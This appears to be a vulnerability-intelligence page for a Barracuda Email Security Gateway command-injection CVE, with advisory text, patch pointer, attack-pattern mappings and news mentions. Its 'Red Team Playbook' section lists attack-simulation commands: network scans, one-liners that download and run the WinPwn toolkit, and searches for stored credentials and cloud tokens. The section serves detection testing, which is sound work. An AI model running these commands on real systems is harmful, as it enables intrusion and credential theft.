CVE-2026-111560
Overview
This vulnerability is a command injection flaw arising from improper neutralization of shell metacharacters within the timezone configuration parameter in Barracuda Email Security Gateway appliances. The root cause lies in insufficient input sanitization of the timezone field, allowing crafted input to be interpreted as OS commands. The affected component is the timezone configuration processing routine in the Barracuda appliance software, which executes with root privileges.
Vulnerability Description
Improper neutralization of shell metacharacters in the timezone configuration field in certain Barracuda appliance products using common Barracuda code allows an authenticated administrator to inject OS commands that execute with root privileges when the crafted timezone value is subsequently processed.
Impact
An attacker with authenticated administrator access can execute arbitrary operating system commands with root privileges by exploiting this vulnerability. This enables full system compromise, including the ability to manipulate system files, install persistent malware, or pivot to other network resources. The prerequisite is possession of valid administrative credentials; no additional user interaction is required. Such unauthorized command execution can lead to data breaches, service disruption, or complete control over the affected appliance.
Solution
Barracuda Networks has released security updates addressing this command injection vulnerability in the Barracuda Email Security Gateway. Administrators should apply the patches as detailed in the vendor advisory at https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection. The advisory provides specific version numbers and update instructions. No alternative workarounds are recommended; prompt application of the official patch is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Ransomware Groups 1
Threat Feed
4 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability (15 known victims)
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (29)
29 mentions from 19 sources in the last 7 days BuzzFactor 92 / 100
-
social bsky.app @securityrss.bsky.social 2026-11-04 13:35 UTCBarracuda disclosed two vulnerabilities: CVE-2026-116606 (CVSS 9.3), a pre-authentication authorization bypass affecting Email Security Gateway, and CVE-2026-111560 (CVSS 8.6), impacting multiple products including Load Balancer and Web Ap…Open source
-
social bsky.app @cyberexpertsbrief.bsky.social 2026-11-04 13:21 UTCBarracuda email gateways: two bugs (CVE-2026-116606, CVE-2026-111560) chain from no login to root. The second also hits its WAF, load balancer, archiver and web gateway. Confirm the November 2 patch landed and keep admin pages off the inte…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-04 06:14 UTCBarracuda Fixes Critical Security Flaws Allowing Attackers to Bypass Authorization and Gain Root Access + Video Barracuda has released security updates addressing two serious vulnerabilities affecting its network security appliances, inclu…Open source
-
social bsky.app @newssecia.bsky.social 2026-11-04 05:51 UTC🤖 Barracuda ESG < 9.4.0.030: CVE-2026-116606 (CVSS 9.3) pre-auth bypass via crafted backup import, chained with CVE-2026-111560 shell injection (timezone, root). Patch to 9.4.0.030. https://trust.barracuda.com/security/pre-authentication-a…Open source
-
social infosec.exchange @cloud 2026-11-04 05:51 UTC🤖 Barracuda ESG < 9.4.0.030: two flaws chain to root. CVE-2026-116606 (CVSS 9.3) lets an unauthenticated attacker invoke the backup import and restore a crafted archive, rewriting global config. CVE-2026-111560 is a shell injection in the…Open source
-
news csoonline.com 2026-11-04 04:23 UTCBarracuda’s security appliances have a security problem of their own - CSO OnlineOpen source
-
news scworld.com 2026-11-03 23:08 UTCBarracuda Networks issues patches for critical security vulnerabilities - SC MediaOpen source
-
news fieldeffect.com 2026-11-03 21:27 UTCBarracuda ESG flaws can lead to root access - Field EffectOpen source
-
social mastodon.social @hacksgr 2026-11-03 20:23 UTCBarracuda disclosed two vulnerabilities affecting its products that can be chained together. The combination allows attackers to bypass authorization controls and gain root access to a susceptible device. The issues include CVE-2026-116606…Open source
-
social bsky.app @0daynews.bsky.social 2026-11-03 19:30 UTCbarracuda fixes root access flaws via cve-2026-116606 and cve-2026-111560, patch now to restrict admin interface access #infosec https://0daynews.com/articles/2026-11-03-barracuda-esg-cve-2026-116606-cve-2026-111560-root-chain/Open source
-
social bsky.app @undercode.bsky.social 2026-11-03 17:45 UTCCritical Barracuda ESG Flaws Could Be Chained to Bypass Authorization and Gain Root Access + Video Introduction: Barracuda Networks has disclosed critical vulnerabilities affecting enterprise appliances, including Email Security Gateway (E…Open source
-
social bsky.app @undercode.bsky.social 2026-11-03 17:30 UTCBarracuda Flaws Chained in Critical Exploit Sequence Granting Unauthenticated Remote Root Access + Video Introduction Barracuda Networks has released security advisories regarding two critical flaws affecting its Email Security Gateway (ES…Open source
-
news finance.biggo.com 2026-11-03 17:25 UTCBarracuda Products Hit by Vulnerability With Maximum Severity 9.3, Root Privilege Theft Feared via Admin Interface - BigGo FinanceOpen source
-
news secnews.gr 2026-11-03 16:01 UTCBarracuda: Two vulnerabilities allow root access - SecNews.grOpen source
-
news thehackernews.com 2026-11-03 15:59 UTCBarracuda Flaws Could Be Chained to Bypass Authorization and Gain Root Access - The Hacker NewsOpen source
-
social bsky.app @newssecia.bsky.social 2026-11-03 15:35 UTC🤖 Barracuda patches two Email Security Gateway flaws: CVE-2026-116606 auth weakness, CVE-2026-111560 admin-to-root command injection. Admin access required. https://www.bleepingcomputer.com/news/security/barracuda-warns-of-critical-flaws-a…Open source
-
social infosec.exchange @cloud 2026-11-03 15:35 UTC🤖 Barracuda patches two Email Security Gateway flaws. CVE-2026-116606 (critical): auth weakness letting attackers modify global config. CVE-2026-111560: admin-level OS command injection as root. Both need admin interface access — restrict…Open source
-
news mezha.net 2026-11-03 15:25 UTCBarracuda warns of two flaws that could give attackers root access - Mezha.netOpen source
-
news bleepingcomputer.com 2026-11-03 15:06 UTCBarracuda warns of critical flaws allowing root access to devices - BleepingComputerOpen source
-
news bleepingcomputer.com 2026-11-03 15:06 UTCBarracuda warns of critical flaws allowing root access to devices - BleepingComputerOpen source
-
social bsky.app @sansisc.bsky.social 2026-11-03 02:00 UTCSANS Stormcast Tuesday, November 3rd, 2026: Multipath TCP (MPTCP) Detection; BTCPay Server 2.4.1 Hot Wallet Thefts; Barracuda ESG Flaws (CVE-2026-116606, CVE-2026-111560); Synology DSM Ransomware https://isc.sans.edu/podcastdetail/10162Open source
-
news techbarrista.com 2026-11-02 22:46 UTCCritical Barracuda ESG Flaws Could Give Hackers Root Access - www.techbarrista.comOpen source
-
social infosec.exchange @117202824925377048 2026-11-02 16:36 UTCBarracuda security advisory: CVE-2026-116606 (9.3 critical) Pre-Authentication Authorization Bypass in Email Security Gateway CVE-2026-111560 (8.6 high) Command Injection in ESG, ADC, BMA, WCC, WAF, WSG https:// trust.barracuda.com/securit…Open source
-
social infosec.exchange @116797276219291526 2026-11-02 14:50 UTCPatch two Barracuda vulnerabilities, CVE-2026-116606 and CVE-2026-111560, that allow attackers to gain Barracuda root access across multiple appliances. # Barracuda # EmailSecurity # CVE2026116606 # CVE2026111560 # Cybersecurity # Vulnerab…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-02 14:50 UTCPatch two Barracuda vulnerabilities, CVE-2026-116606 and CVE-2026-111560, that allow attackers to gain Barracuda root access across multiple appliances. #Barracuda #EmailSecurity #CVE2026116606 #CVE2026111560 #Cybersecurity #Vulnerability…Open source
-
social infosec.exchange @cve 2026-11-02 13:05 UTCCVE-2026-111560 OS Command Injection in Barracuda Appliances Improper neutralization of shell metacharacters in the timezone configuration field in certain Barracuda appliance products using common Barracuda code allows an authenticated ad…Open source
-
news threatsensor.csurface.io 2026-11-02 12:59 UTCHigh-severity vulnerability in Barracuda Email Security Gateway allows OS command injectionOpen source
-
news rescana.com 2026-11-02 08:00 UTCAndroid November 2026 Security Bulletin: Critical No-Interaction RCE (CVE-2026-58868) — Prepare Mobile Fleets Now - RescanaOpen source
-
news gbhackers.com 2026-11-02 08:00 UTCBarracuda Email Security Gateway Flaws Expose Devices to Potential Root-Level Compromise - GBHackers NewsOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-111560 |
| github.com |
GitHub CVE
third-party-advisory
|
https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0041.md |
| trust.barracuda.com |
GitHub CVE
vendor-advisory
|
https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection |